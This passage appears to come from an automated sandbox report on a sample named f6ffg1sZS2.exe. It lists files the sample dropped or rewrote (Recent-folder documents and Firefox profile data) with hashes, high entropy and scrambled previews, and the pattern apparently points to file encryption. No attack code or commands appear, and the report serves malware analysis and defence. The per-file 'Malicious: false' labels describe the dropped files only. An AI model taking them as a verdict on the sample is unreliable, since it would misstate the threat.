Preview:	SQRKH.;.....tx..Pg........k........Q. ..l.X=..a.P."...M.a.^F.c.kr.+.]......a5.j.,.@./.Y......i.r..7...5.o.t73.<.N.g..-....b...3...~}.].x...A....tI81.(....e......U..{.(.T.:.(..}...3.\.p.....`.(.g.^=j..?.`....S...8....H...Jq.@B7..q.>...m...11.R.[..}....'Y]3.%y.n.....C[...c.O.nzg^.Z.......b...j...LG..a..A^%E[,.N..$.r...!.O..$b1#.....K^......A/....x.BT..L....q....h.?......F.......0.$..H..V.\|....I.>1...{.s.".P5&...-.....;5.9\L..0 p...v.~8.1..sn..........7.....U.W6z.^B......1G...u..............2.)n.=8.F.$i........].u..3.M....eA0z..U....Y....VG%z.....i.7D+.....#.J.Qr<L....3 sH.:.b.l:...5g.v.....%n..R._.............. .U..<.v?a....AJ...W.#..1{..w.....F....n6.....yUM...G.J...;..u.!J..e$.L.V...8..5..r......l..H...'xX.\|.....4... .0...E...8..,O......~4.......1...J.'.3+>..9'._&8..!e.m..z./.R.......H&v.a.<.H.+...a..c.F...O...vDy.@9..b.....+r..@w..H.".\|._.......,..B$....\L\|5h.M...dl$.A...B.j@b`....;XA......d.e..yU.B...jjFkvA",.MaMQ5,1D.'.z...a._

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\TWGTYTLCKI.jpg

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8724591543657425
Encrypted:	false
SSDEEP:	24:any2E3dE2IvbofrvlYugYhyi/Vg4HwOaMSGo2Rw6cnVAzDEMo36n2qLetbD:YyTOTbSYtswOSGo2O6cVmEMoK2q6ND
MD5:	9AE920782488EEB028AAAB393CC82DDD
SHA1:	CE1AEDB3606C7AF43D425E0D4FDDF5D5AD311954
SHA-256:	B52D24180B018B4F124A6B40101EB488635863C5C0E272F5CA2C7E98B89CBA85
SHA-512:	802751EF2214914FEE96013CF82A622736CE662F26EFF454C8A2F1E5CA5932E8C23A63CD940DB4C0F666769316189422D5B6D502B30B70757DEB882BA9C5F8E6
Malicious:	false
Preview:	TWGTY....z>j!...#..9.,..%....!.v0.#2.m...D....)..Z.w...........ZQf!VU...PZ..R.._...5x9.i..w.............ncx....)1m.F'...M!,......I.7.h...+%J}%.;S_ ....mr@Er..3,!.?x.......u..EQSSi........z.7....'..,SD. =...j.}.;.%..=<.u..7...tl.L..`6....l...J.Ew(...4.1.^yDz....U..;Q..Hc.C.o....F.....O..z.a.5.7.....vIc..j..p.O..#"&v`.+.B......RA.e.......&(....<...S~.......H?...p...o...Q.K..)....;...x.(.~.....Ob"&....\k.....i3fCWK.Ju.W.9.sU...D...5.......~&...3...\|N..U.e...{..E..%$9..\|no..,..F.....(.r.....R..0...%.o4.+.;.1..Z....L..,...a.qm.=4..O..t?..:.j..s}w..0G.7=wh.....`...]?...f...!,...j~.s.$.$.C4nx....._..+.3.2.G.n..Ig...6.&.....;....}D.e....6..S.Jg.g[..O...o.}..6.h..m.6...;-N.k!../Mr...ZZ..c@.Z.`._...\.U.!...A.(.....PX..u..(.d....w.".].......9....k8..VOJ7..sd.o.B.wwaT.+v..".=..Y.Z...'2.q......j.........*.........yt. $.H%F............D}.{..&..a....@..#y..]t...k.l.K.Q/.><q]..m....5.q.P.5..+L....H...~.,....R..>.T...S>vJ...V..O.r....7...S......Gs.....PQ..f"

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UFTNOTWEML.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858969171548319
Encrypted:	false
SSDEEP:	24:ZF4G+W1zVcr2xoukfaQmqlD+DSla9F7HVQoHhnGsnkxmPPve9nYGDcbD:ZF4rGzCSefaQP0DNnDVtnGV8v4nz2D
MD5:	D8E2484E99F8DD7A9263FACECF267FC0
SHA1:	3AA266ED670D8984D5EA21D92D5A49624C5657A5
SHA-256:	483E3E3FCC03BFBD8F0759933A40BF7BC6589C57AA14876F342A512747524F59
SHA-512:	93101D9214CA03A86DB7834F21138CBBA574AA58FC43D54CD360FD9242A3874B31E2F7D9E90C0174A16592B6A801A8F011E7441D6B71148456C0FF451BC11026
Malicious:	false
Preview:	UFTNO...`....In..)....<.Pm$/.X.oI.mN...-.(..T..."R..?...E.V,:.{$.s..'.TA.@..I..x..V... ..<m...E.~9.g...d.o%k..GT.......C.q<h..B++s>.-....P.G.S.O....D...Kn2...:....3..x.s.5."H..].f..p.f.xh....C.=..}....[8....K...WU..".......bt.c......]k...".<.....1.'.>.....aY%.=.I}q..1.I#U:{.9hJ....=...sH..J.h1.x.a.....svYr......$.......r@..To.A..`{.}..V9P..F.M%`h..&&...'.....&...."crl..q....... ...Y......8}....Q.z.ZC.\|.e.U 6..!..?.V5..CmW..%.V..e<.....C.]`u...(..RC..8...JX.T.8.^.m...L@G}A....3g.Tr(..5A.....T...>.M.Te.v...~..1}.]2....0t...!-x.I.D.A.<.ef'1.......h...vV.w.Z3......;O.9n....#z..G.D....7.."x......;.vw......w4<...2.E.po........yW.........[Mk.o.."...XP..W.G^....((\|......,.].....8P......G....[.lxH...#.........j.zL\...<)..q~.~$G...0x...,.P.i..uD....Y.5lUt.......b.Z...`M.w#.....SH...a.Vm....#!q.,.c.`._U...Y.......@..$.V.nE+........<0..1x~....{.u.".P(X.......6P`.aZ......S.]n.UIOV.K.?5m..5.........J.Z.0..:.+).B....._..... .....mX.}..'n.......N

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\UMMBDNEQBN.docx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841149705058481
Encrypted:	false
SSDEEP:	24:/pccwwwANxiArSY88cJD1mq5F/yrjHpzZxcVEf7N2hiwyBVIXC9hGmT0+mKlbD:qcwjkYArSZ8cF0qH/iJzZxGCjlBmXcMU
MD5:	EDE524E7C788B95AEAE168346888B22A
SHA1:	8A04642ACC58257464BBD506628FA82D4936E547
SHA-256:	4A429B824B48A20F2A1BB14A9DF6AF5C448B724AD78B3388B1ACAB658254D376
SHA-512:	5654FA4C709906724F4F7C5CF4680C667F97FAE32EF46D176325A9D096463F03A3F14153A9982257EB61DD29DD254014A46AA10DE93413E8C127D026A62F0F38
Malicious:	false
Preview:	UMMBD..{.4C.....Y.z..vo..S2wY.....aBLH]pS."3.-.@w.KI..vV....z.e~.[nN.p..Xv....1.....I.E.2..=f.s.bE.kyYN\e.0m./^."......B.P.by..w^C..=#.r....... {....h.3.%....`....h.....C..;....1G..Lk...m.....J=.......$..S...[.g......'`....P........,Ini...h.Y......L...a.[U#..F.......$y....c<'..VS.-c.X.....'mo.q.......w..._.u.g.K..C<S..r.8..K....4.$..5P...{Q97v.....r1..\.4....jks.....g....G..k..9..n.T.\|...=..T.0.I.....ST.~pJ....2j.k.GQ..u.y...%..&..O...}Y...<#.RM....._...h.....'..9.X.`.:.....`G..#{j..X..a.(..^<V65.[jk........u.../rf....3.u.....q....`..........Xb......Yz......s.y C4p.I....0ip..^.W.".iY_O._I.....0.o.l.oL........+..7....n.vR...~.o..K.B........bB.;H:?\..R"Fd@..%.Z...fu..:..;A...a.$^l.....)......C){Q....]..]j"...s7cu...<f}....'.2..9...V<...D.K^...(........u.W.J....V...*{.#&#..;.5L.%.Ni.RE.f..gzA........;...A.^<Y.......X&..f .d..d..An...Ep.;..=R..2..F..&....'.(.,~._..OUh...Z..pF......R/..4Obx....V...9.k4.E...0X.....!. .,%}~..+.....l.....e.bm,.D..G.3j

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\XDPQCPDGHC.png

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835040741692605
Encrypted:	false
SSDEEP:	24:RGIZAHNcPEygu8leaH7OZB1Ela/7rtMeCxIQDIDHoritbD:1AtKOu8leaH6ZB1EcTxMeCOJDCWD
MD5:	28B66977CE1DDB7373991464F62CE7CF
SHA1:	D176F547EEDAC5CDCCDE2527CD17FD8816DAFE73
SHA-256:	AE211741DB20308017E858F94820D63B2F82706F6B51644AE242A0BEF8C53D13
SHA-512:	041EB0B9ECDE6DBD95FA2E3F3DF31A78BC6F0F4216097D2FD3AC033386B5D020E906D218BA5C6C29851BBAE5D67AA25B1ED05CAEEB75112A14E85040F7F8E135
Malicious:	false
Preview:	XDPQC.G.^z'=K.%.p2:....Y.....E.6..M...Q.A...h..p#...eo&.a.i`.J6..l..0.....F..?P.z...RP.W..YE.Lm.{...(Vyx...Wt...m....[Z@b.H. A...y..+.....>..I.{.v{X.0z.3q....jwE.s.QB..8......4.......UG..n..\.......u{.Rs,vH...R..h.,^..../>Q...$.}...}.........O.....U..4....6.?.{......kb?F...D.X5.._.....W.[..t._%..?.-D`.Z.U9..@._.s.q...%..<.'Mw\|i.c.u..'U..K{<....Y=&.FLDX..h.....o<.uq<......Q....b7.....1t..&..2A@.7............b.w..7y...9....p.Ar.8}W.4N...A#......h.....x.@.t\|.:l.a..+...cL..)../d6.^.)q..LN...q....E..?D..c..J......x.(z..O..`d.D8....."bA...4AQ.d&...o1...,.CQ...4".0....z<.N:1.c.r..r..l...Vy....^....w.....rdB.F.........%nv!.O...../ UAA.S=.h.{.tR~...I.Hr.6_.....@Hx\|....=..)8...[.%.4..I'...;pK"(..Q>g..?X".4..4.]....}.C.....<c..EC.d.b9...v..........]l..Gn.y..H(G.EX....E..1\|.w...."/.......}~.1..O>.l1[..7.5.*......1.n.o.-..GQ....c.?`S.j..-....r.....8....m....u..S.....=....T..tV..LjE,y._n.b...X.}.yH..\|Cu.LoV'B..$J.er.N+.K.cvj{...Cx....`......>..."..W

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YPSIACHYXW.jpg

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8117056472366775
Encrypted:	false
SSDEEP:	24:jLpp4sHNW16jeOjeiU3MdX2eDUhZbuPaPWbXHxwzChgNQwHTSS4KiRTYkW/u2W0B:jLFje6U3eUHUA+RGCmmqTP4mkT10pD
MD5:	332E68E2BDF52DE2EEEF828F9720053B
SHA1:	5A1FB3802498841FDCA54A06170925C44FE46C6A
SHA-256:	5258D532A44DDF5F908968C3FB3B3D77935651CC4D7DA57B207126C58571543D
SHA-512:	F3CFF6672FAC43148B1AFDE4BDDDCD1638E08A10675480703859B0F2502AE0B55D73614A9084209F762295231EF55EB0DD8818029CF21F374BB7286540088C9A
Malicious:	false
Preview:	YPSIA]lJ..8.5A .8o.7DG.G.\s..[e#>s.0..C...-.......H..d.R../..[.-DeG..IP..R.v7...$......=..u.....s:.q......c^.J..z..>...A...r."..r]W.{.'...~..P...s..3...7....Z?^~.D.....j..C...v,d.u........_0.....;...hs.#/.....@.T!....'Q.....&.L..XB.9..<......{.eY.xa.>.c.c.).zK._......;..)p{...r..[<F6.zK.=b1-4..,.a.)...d~].....<..!?.[....V.C.....vD.8.m...<k.f.{.z.~%.V[../.J......A..D...(P...B.H.[../.....{.....$.>...).R{ .....Y...<G.B.o.T..oi..A.b...{..O...Ue.......L.2)...Y."..v..g.n.@e.\..A..\|E...0R.[........)..z7F...Fz......2.......M.)]b..w!.hf._a+..?.+J0.Y;w;.f>.Xdb..b...Q0.xH.._.?PH.....hw.W..X.Cq.....~..i..%..sV..._.....&..r#.7........-...%.5..o4[.....j2+..~.g.+z^..Tc!. j...bB....._...6{......KH.o.sr.!.....a.'...\|...k..+.v.^..........R+d.&o..s5eE.LO..../P.....G[.r1....&...a.5....3....a.....4!.\]....qGJ.!...k.......{..G.\|".l.3.........2.fK.R.y.a*.f.....iW.1..._.....f%.;...x.o...h)-z..G,...]v)...,.?.$f.nN.+.8.r...0._..H.W+zr....\....=..\|

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\YPSIACHYXW.xlsx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863330031859453
Encrypted:	false
SSDEEP:	24:3pWM+4xhxKYLAUZsV5aWcP1fIsarysdfR+AlJIRHYKSTECM+5IuaPlQbD:5J+4xzu5a/urxzhJIRI2JuZD
MD5:	57FC9288B8E05BD13D70DCCDA0564404
SHA1:	850C90CB2C78AA80CDD1F51794BCD938D3EEC19E
SHA-256:	DA4A02CAA2B16F13DA0E9311C82C8241F2A545A2B704E2ED885388F35859F119
SHA-512:	71CD4A8A927F48D88548C86C19A2D908884B68D1C41373DEDE27C95FFCDE08DD09B5D2D4481B7C13488484BCD41BC97F646DD8A2B3AD36916114BAD2D2395097
Malicious:	false
Preview:	YPSIA.t.^....K..%..gH..`J.....\|...^.A.....A.....t...V...@..!X..l...9qea.........-.S...8...........-'.n...?x.V.W...Cr.....Z./-.b...v........A...c..RU;.Y...{(.h..........oX.......SN......{. ..}...O. %..N.AA;s_".H.a.u...........q....4_..}..?...P.......fd.E`Z.\|%..q...*.u.z.{IlR.&.S}U..t.c....iHg.\..y...6....f.....2.......".PC..2..KE.F....2K.M.e.w.<.EN.......F....\...mN.^...:..j.(Z...q.e.l..X...x0.HTB....q.....E.....;. .n.^...jcW+....Y.?.3K..2oB...6k...vzT.~...pE...)7.AQ..jZ1.N.FY;.v5.A\|H.A.@wR.Q.F.L.....$....qq._.).....H..^."......2..M...n.............r.~..X5.?.q.y+.{...{..-...U..C........`..y......K:4.....c...AL).z?^..?h}2......cu0p..\|.z.<V.$.g..zM......o.......&..hD.." ..?5....f.......Nq.HR[(.......;:;m.;.}.Y&....LX.V.0f;.i.]..[e..SM..-[VZ.".X5@z.QB.~i.......!...1....!.....H......{.#.>.D....Ooc....)..d..!..A'[.qC..%.....4.........M<.....W(..D...\Y.rw0..b.O.......G..Zx..}....x92.g.....o.).....5J.h...'..-l...Jw=G...(>=8.R#(.X.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.docx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8470619166038995
Encrypted:	false
SSDEEP:	24:4UxDSNRYaKP9gf+YzfMyyTm4P3xBHHMjIBC5a9riSYbeWldtooK7TdbD:j6RdKVg2YzfM/yiFCo9AtM5D
MD5:	9AEA41D077B804A319EB13A8D0F307DB
SHA1:	545E1703B0737B62DC0A261F2C5880C06C2C4DB6
SHA-256:	CFC1CFA9C4580AEAC1C02A205714BD1E359DD392967C3CE8C7BFB3884951C019
SHA-512:	11DA3DCF7A063EE331F157ACDCFB7D31089078AA0FA2AEA867F73E281AFAD0643469B3E6AD3EC9EC529F23E2342F3FC9B7AA1792D3166B3DFB171DE96DF07291
Malicious:	false
Preview:	ZQIXM!.~...5y{..c.1\...4.A.Cj..w.hNL.{..\|....pX....n.....g...\...Y."Z5Q.w9-W.S..~..@.Q...}..b..=...6o..'c..m../..y..d..".=.CNwy.F....W....R'.Sn....`O.'.l......%.x....,...`....L..u...]..hb.UUE..)..G)..-...c.r.4.2...8{...1.0...u!.5.e......>i.".......#.......u.p..c.;..g.s.7....T4....`...Ez=.].>.".......v...W.}8g....^.In.%.Ku.i.mz@....@cx.w.5$~ox."f..L.w....~.;..v.v[...W.~=....+.xdRD.]tn.....}......[..l=...xn..#!.t...A>-.pNj...(P.>5..>a......~y.Tav.=....z.t.P...fL4.........#....-ua.d.6SOM.i...f....1...4.Y.o.2-.!]..N. .P.8N.P.y....\|..&.R..ML...{...G3$.y^.-.....g'j(...#...{..n J..Y)..p.BB.....v.j..u7.Rd.......8v.#M...8l...I..N.t.U...'.4S..Mu....;....i.U<.......&C...)b..{13.&(......=...Hk.....X......-.....%"..q..o..X-\|...%...M.<...X.h...P9-...(.h..=.. 2.-...whT.}R.w.6....t.5V.......mm.@..C.g~7\|J.C.\.a..m.Ew:....2.. ..a.&..<].z...mI....f...a.S%E..P.*TS....;.....z...7.A...MW.{..(..o..2..q?.Y.`f.n..0...M.u.`.;C..2..bjP.;...Q.U.i....P..%.W...#~..l.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZQIXMVQGAH.pdf

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.867461260712092
Encrypted:	false
SSDEEP:	24:pq5TriOoj2uxvsLZDlz2FPyzcbd6VXMFZ0/Kd9cE76MldbD:ZWueLtJWP4VcFKSd9cE7HdD
MD5:	8A28CC33E3ABAA245977E3D71B3B883B
SHA1:	7CB040483AD7DB62FD4A79BF6B2E8864BC8A1E10
SHA-256:	D16E9636546099E39E75FB8EB935550E601955A5A3C04188EA429A46DC5D1C29
SHA-512:	24E75011A8C34176C49C62EEE38187BFD79DFDE558CD753B20FB742F4E6CB8215C367B7A92079B317876226C91550731B4567772D8C2F0B850F7C98401C012F5
Malicious:	false
Preview:	ZQIXM."....1...._..RD.TR.....72.....y.b..<A....M..Z."......t..@....{>..!.Q..\.P..x{....#....lW.....]A......"EB[/...M{.....q.9........._......gU.h.K...a8..<J>...E..G....$..S.EH....%.\...@Y.e...S...6.L.l5...B.....[......,0......O.J.../.....~s.f...!E.P.tp.tho..H.._..9.0.ei......x]g5@..+7Q........g.1.\vz."o.k.)F.nM+...C..\.5...=u'.M.}.z.x...m.2B...K.....[-....,...C.....wM..tg...K...Y...>...6.Q...A..p_.=c..h\.&f..=.M/..F.f..s.7E.0JIY.BK..A..SL.RU..h`..'S......E.e.T..d.4j.8R...._.....4...9..p.is....c`.D~..B.-}fgU.n.....7.m!......8A..#.....Br..YB.8.r`...Z.,G~.I7.....sy.0D;LL'..o.J.of&.:S.V.\|z.....H!..}.Z.5.^..Ib....b....mf&..Uht...n...3...3U^F..h...D}.W.A?."l{b6.......7..8...b1.2p.[p....y.'..Z..x;."q.K.!.m...,F.K..A%.)I....P..MV../n.j&..X.E1.2..5.X.\|IN.(o7..N.W.a....l3m..Y...#....m...(......l6..ao.[.c....{..V->.#..px.uT..d.n$.s.........-q.....f..mvW.r<...0.e.E....'..c......B's..[!huI....3.N........0..T.J... .C..*h.c......eJ....F.<.^=..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZTGJILHXQB.docx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8553008926898835
Encrypted:	false
SSDEEP:	24:8Zj9hHyqM3XhVmUX1qtjlARJh6KiYSz5cMaQz8YwDHMoj8bD:S50xX7mUXUVKiYSz5cIz8DnaD
MD5:	EB94C667BFE998B26B934E72D0A3EA51
SHA1:	DECE9BC42C1C9B05B836160110455A3A4FB3C7F4
SHA-256:	2FA632B8AAA14D11CCDDA0369BE2907EDC4D200FF0D22D9E1AC10BAD9999EAC4
SHA-512:	BEA809376BC55C81907B5579AC5EF1960AE0ECE62119C00FA0B371A510467BCDA44EC1E9DC3B5FB0DD2C3CAEC4E5F9BA3DB4BE30C83CA6CC9512E355A095C007
Malicious:	false
Preview:	ZTGJI....Ip\..d^d@:`.....w....L...b..S.i.>N&..p5..b......=..m..~....A.~..q...L....3).l.:).<F..r..G..]...=eL...N.0.cN(.8~Lx<.}..J".....qt......9h.!.....'Ou.c.i..Mg..t.Z....?.G....B...<..s:..^6.3.@=h..$L^.......3....,....c. ..m..p..."F..2..{0....c]U. dz..&...c._.).......OF...............R..d...<.........#.....Lu.Z>!F,.!..........8-.8....i........i..0M.V.)......zB..!R1.i.......j..P....m.Pc...M..N...R.....T.1..Y.+K8p~.PG..1+...+.-..'.j.............:p.,.._.../../X.....t6.......T...,&.Q7.03..R._... ...cJ...;...(wy.b....r.8a.0..+"Y5.A.......^.iv..A8>O.<r. )...(.......c.....st......%E.E..`D..h..]P............gR.BC..+.6..u.U.%..$...x.,H%......u..`.i.b..[..N.V;.i.&....@.:...N\....A.....#Jm...dH..?.....(b.2^...PY@A.Dl.K...i....U..".c9\.a...gb.l.^.M....`s"e.8.'..;.P.E4.....N n...t..._..m.Z.w...N.ny..\...Q .n....(..z.3.#$7g6.#."9.Ma.= "E.V\..Z.,.......+..,a.....<...9..U.}A . K~....)i.<].N&...u.a_@.y...w..............~..v?0..v.t;-.?P. .9...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZTGJILHXQB.mp3

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.872278658564602
Encrypted:	false
SSDEEP:	24:88vrGJ0L8C0+P25GuSb1tq+CmSNq2jHFv0yv9QlCSS6zbD:Vvr/AC+5lSb1U5Nq2jLv9Q46nD
MD5:	367BA99927D082AD05A949AC21028705
SHA1:	54F60CE9BBA6332DE23FEF95E246F36274306643
SHA-256:	EAE94572F1FDF5D73C7AA63786A80867AC615505930A09F9371948E84E107B74
SHA-512:	7E8B8E673AFFE402ABCC80874B2D78D5390A6ECA18C3DE3FA404831EB9B31FCF2199F90D54A9726C463FB8A9C6636A7A95DB1C03F1367A78860C61A8959EEDF4
Malicious:	false
Preview:	ZTGJI...vN._.`~..9G........QO.FHt.H....+..:..'.....D...E...B.u.Y.P..8......cO.\|.:..~N\|...r.gnl....@^..LG.......pe.;V0z?.p.o.D..{..<.%f.~'.=......;.^:I.....`....}-....0.ocZ..W'&E..k......UzHL.:.9...J....K.J.0..L....W.....r.y....aDC.........!J.'(>4.NK.;P....l.2@h..@..Tp.%.$##X..N....!.9...6y.}Vz...>.....S.lBk...h.d]...#ys.\|.q...../(=PN..>..X.I.N.Y.x.c90'........}....JTy.#..~?..G....T.}[Q..3.y.CP......U..[......[...m......E....'[...IN.#....MW..'..'&....1`^py.\....Hc..a.i2.4,..~....Rt.......j.....zw.....qL.h.Ix.HW..R.G..X..SI)T.G#e.....t...=b....[..a...d..\|..Q.?s{n...k.Aa..M....(K.3.2;...C2.2.D..Dn..f.W?..fn.;....Q...W..].K$...WO...Ii.T......j..>..Z.$. .......+..q..Z(..BB.q.I.r............z.H......L..8.6......yg......i..w.NzpS.mFT.......$..>....O m@..).;..1J.>..`Ld....4....X. ...x..."w..9.mGY..vP..!...&o.<...\&.....P2'...H.Ry..+.D5...Wzk..X.G..R4;...u..%.Z.i..bLy..v.)i._...h.0...({.<....'7.`fDKUe.........1......\|....P..+.b.y~l*.....b.T....>$..3.U

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ZTGJILHXQB.xlsx

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857305061039842
Encrypted:	false
SSDEEP:	24:8HsdauaZj218TBVgg/r+PbqwyTHLtb5omfkE1mTn89fMDtS8NbbD:y3ZZ08TjdrxXCT8kDtFD
MD5:	F81104FA6F63444FC716C11939A2B50D
SHA1:	0D2AEE2253A0950EB80812544F2B3A6C1AEA2340
SHA-256:	E00B59FBADD21F09F1E6CCC3088F7BAFB072D7A0D8C0D8C256CB8E4FDA0ADCF3
SHA-512:	9DFB483DA074DEB0C5727C9D38DCCD50FEC176CC1FE015FD8AEDE2C04B6D6A4EF5D3553CCE6FEE420FD3150BB2E9570638D83D50F67A83CA6ED631466DB4EB8E
Malicious:	false
Preview:	ZTGJI.DIN..L..G......$."....R@)...5..c...5..m....JiY.]".#O....=.;..q.O@}.'.L.......\|5.T.T.W&mH.G.....9.jd.....6...?..f..2'.S.k.c.h.0a(k.....i.`..U.OQ....(..rh%l...vz..H..-xo>yZ...BV"y.\0....... ..&.\|.X...p.....`.....W.AR...vG..>.k.......Z..L.qw...]....d.(..1.............Zg.?.NUd...Q.!..-M.up.....\R...].....\|B......r.E....x.....!.4.Ip)..1.y#^.W..`......G.6.1...I^^'..t.L...^l....[Y......O"N.>.\@<..cr.v=..yW#....r..2"...j.(e1..1=x.(u`.......n..x........=.!..@y.N4..T.Y:9N.P)..tH...<v...i..;D3....m.+....O..Z...^...G....f.1..W.U......Ci..$.;.....L.E.......].U.@.=..W.~qW$...`.Y.5..?gP..).)hj...J:....R...@1..m.^6.%.B....+..6...%4.....9....CAR.?...6.PSjz~wz...E.0.}..3.....n...L5..y.QX.i...C....p...-.f.U...l..4.!..uF.Dw.=.4.\..nW.d\|.Z\|p.w....6..v.e..-_......?...7N.4...NOa....?.......K.fb;.=]...b.(.^X.........l-..s..@<..,;.f.D<K'.\|3(.."D....;n.$SG.n.r.c[..pI.\|...h..O,..X....(~..M.!..._.Iw..q...w..Q.g`:.I.@.<u.-.:./l.\|.v.:..*..^.;S.....E.$.C...K

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\session-state.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.520176269760618
Encrypted:	false
SSDEEP:	12:YWBOl1Bsg5TjJ572Czg/vSIHvuYpb+S2cii9a:YFlAgRjT72PSIH2YcbD
MD5:	786D03672C96D7A3095DE05F391A40AF
SHA1:	4DEE02FDD81EE4109344A115A11BD540287608B7
SHA-256:	2B85880F53B70B1D29BADFAA9A90D9B827EA2AE53546A43FFD136C47F2E08757
SHA-512:	A54BD933064DA3E24AE5AE2CDFA38C86C2548A8ED99A6298F0F26DEB1F6224DD93EDFC724F7C79365457754918B830EFD303B36EB14F296F6C60704604C83625
Malicious:	false
Preview:	{"ses...K..;b.K.z...4...W..(.b)U.}.di-....E..I.....{."~~....8..t.+..n.....+\....H+.kN.$( 6.V........4..g.j...z.fI..Z..>..O>P..7T.\.p.N&...(.>.........g.E.F%Q..G4..%.p..O.V...\...Z........".4..@Dg..BI...Ak9\...}......v.....)#n\|..Y..`A.$..e<.....D..D....x...B]......(o.)S.....F5....P...h..g...t.B9....$.D...(=z....#.......&..wF\a.{.Zea..BM...M..\@g..^d....@."..G\C_..*.@...)..........?....Q.\o..F.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\state.json

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	385
Entropy (8bit):	7.351879532062517
Encrypted:	false
SSDEEP:	12:YG1GcTW4MqRcOUBQwj0gCKS0yV1S2cii9a:YNmWvqRcRCAHSxHbD
MD5:	092056A6095816C9236181DDF2D64E53
SHA1:	DD2E11F9A694F33D996DBCC126B03C762C5C5E39
SHA-256:	5681D95866EE43FDDBC43860CA1333952289A698251D9BF8A9878AC234CB5F31
SHA-512:	DADCEB96E9F39EF41B280F1542743C2A989AED5B9CBD10F0076A996CA194818ED46CC767D693740C1F34598BB25C19B2E741C3C503FEB4A0E295EE7028CE1B6E
Malicious:	false
Preview:	{"cli...Z\|..i.f..C.jg..Nz........ec!.:...=..e..,.D..L........b.....K.I.3........_..Z8.w.v.......hf.]..p.k.n.&4..sh...aM.z..?P_c..9...O3nQ."..=..9.X-on.;..Fc..B.&d\.9.#n..SzT:...$.x..&.K}fx 3.+P....Wm......m68#.i...B.%..S.j.....:ll.-:.J..........h........G..........)..*...m...9.Mo.....,.mpLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\previous.jsonlz4

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	7.858634925238811
Encrypted:	false
SSDEEP:	48:rV2/xovgKkak/UXVm7vg1ZjWSLdpipMw57WTKjcD:rV2wk/UFm7vaj5bOMnoY
MD5:	25BC9C010322E8EDD5F0F8A94E66D9E0
SHA1:	26DF3796CCB33AA447656FBC4C43580727B13CAA
SHA-256:	AC528E1F0CD340592FEE8900D255EE302C73EB31AEA0C5461447515C9CFDEACD
SHA-512:	95FE905B8E931BC11550C80C9814D30BF59A465225FF2D9ACE5EA4AE5C7E5FC5C5AE9953934B9F0F0D6C01885E6F3F4BE9EF1560B977F76773AF091D14DB45E6
Malicious:	false
Preview:	mozLzG.9q]\|z....~.y..t~...5.d..7C.....^..Q..x.M......]......!Y+F.7.58....E.p..kY...a#G$..e...G%...$....c.....o........r.<q}.S..u.uV.g938.Z.4...{}2]UJj..]<.j.HZ....:t.<..k...E..X...~<U.\..bI..zS2..I.rg.....[.k..:E...d.6..a.b....8m[........G.?LP..F......<.Z.....}d........[.gU.....J.E.7SQ....D...oz.+#....x.........ETw...V.qP'....P...J.rN.y.3.1..:.)U{X.q..F\|....c..eQx.UMl...U.J.W.NBg:.{V.%<.@!.?.m%.G50........B.9{M..i.]...!7]...v!z.r.....5V3Eg._V. .55..KFK.9..K...y.......Tn..t...l..-.Ll...;...n...n.#4....RB..@.....o.u....A...r..../.`......._x".1U.~..........y..$..-.....f.........]m.t._..$..p.wj...N.#.5..`.=.b.NQ...bR..[.Q..K"9....J.......MM1k..z....owM@.>;e.&....`..%d..Ih...NN....D..`..P.p....l.@..QY..[c...f,.j... .d..<M3. 3.Y2.....c.....5.0.w.-.<5...Bz^..KG..5J..{\|c..G.....}.. 